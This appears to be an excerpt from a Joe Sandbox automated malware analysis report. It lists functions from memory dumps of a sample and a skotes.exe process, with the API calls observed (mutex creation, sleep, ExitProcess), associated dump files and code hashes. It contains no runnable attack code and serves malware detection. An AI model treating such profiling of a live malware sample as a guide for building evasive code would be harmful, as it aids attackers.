Function 00F8A302 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1752791680.0000000000F51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1752722183.0000000000F50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752791680.0000000000FB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753051842.0000000000FB9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753121794.0000000000FBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753161490.0000000000FC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753258997.0000000000FC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753296978.0000000000FC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753662175.0000000001114000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753754373.0000000001116000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001126000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001134000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755045852.0000000001137000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755063098.000000000113D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755080172.0000000001145000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755093675.0000000001146000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755105895.0000000001147000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755121161.000000000114E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755136572.0000000001159000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755152448.000000000115A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755168242.0000000001168000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755185757.000000000117A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755208020.0000000001196000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755222711.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755235349.000000000119C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755251304.00000000011A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755267195.00000000011B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755284255.00000000011B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755296998.00000000011B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755314228.00000000011BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755329040.00000000011C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755345530.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755358762.00000000011C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755372736.00000000011CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755386501.00000000011CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755403161.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755417894.00000000011D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755432060.00000000011D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755453550.00000000011F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.00000000011F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.0000000001213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755512933.000000000122F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755527334.0000000001231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755541548.0000000001246000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755561600.0000000001247000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755579040.0000000001248000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755596027.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755611221.000000000124D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755627860.000000000125D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755645165.000000000125E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: adbb92566366010e7fd249293084f7f6ae505ee36373407e12dc1b157fd1f7f4
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 48E08C32921228EBCB15EB98C9049CAF7ECEB49B11B650096F501D3150C274DE00D7D0

Function 00F52EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00F52F5F
__Mtx_unlock.LIBCPMT ref: 00F52FCC
__Mtx_unlock.LIBCPMT ref: 00F530F5
__Mtx_unlock.LIBCPMT ref: 00F5319B

Memory Dump Source

Source File: 00000000.00000002.1752791680.0000000000F51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1752722183.0000000000F50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1752791680.0000000000FB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753051842.0000000000FB9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753121794.0000000000FBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753161490.0000000000FC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753258997.0000000000FC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753296978.0000000000FC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753662175.0000000001114000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753754373.0000000001116000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001126000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755005427.0000000001134000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755045852.0000000001137000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755063098.000000000113D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755080172.0000000001145000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755093675.0000000001146000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755105895.0000000001147000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755121161.000000000114E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755136572.0000000001159000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755152448.000000000115A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755168242.0000000001168000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755185757.000000000117A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755208020.0000000001196000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755222711.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755235349.000000000119C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755251304.00000000011A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755267195.00000000011B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755284255.00000000011B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755296998.00000000011B8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755314228.00000000011BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755329040.00000000011C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755345530.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755358762.00000000011C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755372736.00000000011CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755386501.00000000011CB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755403161.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755417894.00000000011D6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755432060.00000000011D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755453550.00000000011F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.00000000011F4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755468943.0000000001213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755512933.000000000122F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755527334.0000000001231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755541548.0000000001246000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755561600.0000000001247000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755579040.0000000001248000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755596027.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755611221.000000000124D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755627860.000000000125D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755645165.000000000125E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 60ed2714f878f268968f58ba4ad223442d6f86a003f64f413f29c596c995a728
Instruction ID: 234b759e7dddd9992f71f5809aa6635498c53cde2f386f3db76a5789778dcf6e
Opcode Fuzzy Hash: 60ed2714f878f268968f58ba4ad223442d6f86a003f64f413f29c596c995a728
Instruction Fuzzy Hash: 9AA1FFB1E006159FDB10DB78CC4476AB7A8FF15365F008229ED56D7281EB35EA08EBD1

Analysis Process: skotes.exePID: 7592, Parent PID: 7416COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	621
Total number of Limit Nodes:	4

Executed Functions

Function 0006652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0006652A,?,?,?,?,?,00067661), ref: 00066567

Memory Dump Source

Source File: 00000001.00000002.1774587243.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000001.00000002.1774569898.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774587243.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774637397.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774650151.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774664124.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774676531.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774688968.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774951184.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774969137.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775019721.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775062117.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775077038.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775090633.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775103100.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775116866.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775131343.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775143942.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775158126.0000000000245000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775171058.0000000000246000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775345758.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775367734.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775387562.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775402218.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775415300.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775430565.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775450225.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775464778.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775489424.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775506236.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775522960.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775538708.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775554122.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775572300.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775588475.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775605480.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775622424.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775637288.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775656767.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775833907.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775864599.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775882695.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775900108.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775915534.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775930045.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775944349.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775965882.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775979799.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 02314448276040a9b4be6245d90ad659ee8810002870cc5520634989069f4a32
Instruction ID: 0549c6b28b59114c7f946eadebc4331e51cce7eab1741dbf369a146547c400b7
Opcode Fuzzy Hash: 02314448276040a9b4be6245d90ad659ee8810002870cc5520634989069f4a32
Instruction Fuzzy Hash: 99E0C230040A48AFCF357B58D80AD983BABEF92745F500814F91A87223CB36EE81CA91

Function 00039BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0003A963
CreateMutexA.KERNELBASE(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000001.00000002.1774587243.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000001.00000002.1774569898.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774587243.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774637397.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774650151.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774664124.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774676531.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774688968.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774951184.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774969137.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775019721.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775062117.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775077038.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775090633.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775103100.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775116866.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775131343.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775143942.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775158126.0000000000245000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775171058.0000000000246000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775345758.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775367734.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775387562.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775402218.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775415300.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775430565.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775450225.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775464778.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775489424.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775506236.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775522960.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775538708.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775554122.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775572300.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775588475.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775605480.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775622424.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775637288.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775656767.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775833907.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775864599.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775882695.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775900108.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775915534.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775930045.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775944349.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775965882.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775979799.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-5813163
Opcode ID: c0a0f5c2bc054629360aa11ec2d4a5f21e358ddb24fca1f8ef5e17d2b711022b
Instruction ID: 033cda0191a619cac66870254d355ba49d4a6caf6169167840b1fa810456950a
Opcode Fuzzy Hash: c0a0f5c2bc054629360aa11ec2d4a5f21e358ddb24fca1f8ef5e17d2b711022b
Instruction Fuzzy Hash: F53139717142008BFF19DB7CDD897ADB7EAEBC2314F248229E064A73D6C77599808751

Function 00039F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0003A963
CreateMutexA.KERNELBASE(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000001.00000002.1774587243.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000001.00000002.1774569898.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774587243.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774637397.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774650151.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774664124.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774676531.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774688968.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774951184.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774969137.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1774988126.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775019721.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775062117.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775077038.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775090633.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775103100.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775116866.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775131343.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775143942.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775158126.0000000000245000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775171058.0000000000246000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775345758.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775367734.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775387562.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775402218.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775415300.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775430565.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775450225.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775464778.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775489424.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775506236.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775522960.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775538708.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775554122.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775572300.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775588475.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775605480.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775622424.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775637288.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775656767.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775691885.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775833907.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775864599.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775882695.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775900108.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775915534.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775930045.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775944349.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775965882.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1775979799.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

